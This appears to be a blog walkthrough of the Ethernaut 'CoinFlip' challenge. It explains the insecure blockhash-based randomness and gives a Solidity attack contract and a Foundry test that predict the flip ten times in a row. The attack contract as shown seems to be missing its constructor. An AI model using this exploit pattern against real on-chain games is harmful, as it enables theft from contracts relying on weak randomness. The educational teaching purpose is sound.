Follow

# [REDACTED]

Follow Eval
·Mar 8, 2022·

# Overview

This level introduces us to the following concept(s):

• The problem of randomness in Solidity
• Deploying attack contracts and Interfaces

GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry

## Objective

To complete the challenge, we will need to:

• Predict the outcome of a 50/50 coin flip game, 10 times in a row!

## Contract Analysis

The entire game's logic is contained in the `flip()` function. Calling the function will perform the following actions:

1. Generate a pseudo-random number by using the hash of the previous block via `blockhash(block.number - 1)`.
2. Verify that the same number isn't encountered twice, i.e: `lastHash == blockValue` will `revert()`.
3. Simulate a coin flip by computing a result using our pseudo-random number.
4. Increase the consecutive win counter if the player's guess and previous result are equal.
``````contract Coinflip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
``````

The vulnerability in this contract is trusting an insecure PRNG (pseudo-random number generator) for game logic.

It is insecure simply in the fact that is not truly random:

1. Block miners control the `blockhash` as they can throw out a block if the game outcome is not the right one.
2. Anyone who reads the contract has access to the variables used to compute the game's winning condition (e.g: `FACTOR` in this case).

In fact, any PRNG using block data as a source of entropy is insecure.

Blockchains are deterministic by nature, generating a verifiable secure random number requires off chain computation assisted by oracles.

# Attacking The Contract

Make sure to read through Part 0 for setup instructions.

This time we will need to deploy an additional contract `CoinFlipAttack.sol` which will call the `flip()` function of the main game contract.

``````// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10; // Latest solidity version

import "./Coinflip.sol";

interface ICoinflip {
function flip(bool _guess) external returns (bool);
}

contract CoinflipAttack {
ICoinflip public target; // vulnerable smart contract
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;

}

function attack() external {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side); // we only send the right guess to the original contract, netting us the 10 consecutive wins
}
}
``````

Next up, create the `Coinflip.t.sol` test file in the `test/` directory that will contain the attack logic (level setup and submission is truncated for clarity):

``````function testCoinFlipHack() public {
uint256 BLOCK_START = 100;
vm.roll(BLOCK_START); // cheatcode to prevent block 0 from giving us arithmetic error

for (uint256 i = BLOCK_START; i < BLOCK_START + 10; i++) {
vm.roll(i + 1); // cheatcode to simulate running the attack on each subsequent block
attackContract.attack();
}

assertEq(coinflipContract.consecutiveWins(), 10)
}
``````

The `vm.roll()` function is provided by our test library and allows us to adjust the block number in our test environment.

By controlling the block number and knowing how to compute the game-winning state, we can use our attack contract to send the right answer as many times as we want.

NB: the attack would still be possible on mainnet, although requiring more efforts to control the block number

Run the attack using the `forge test` subcommand: 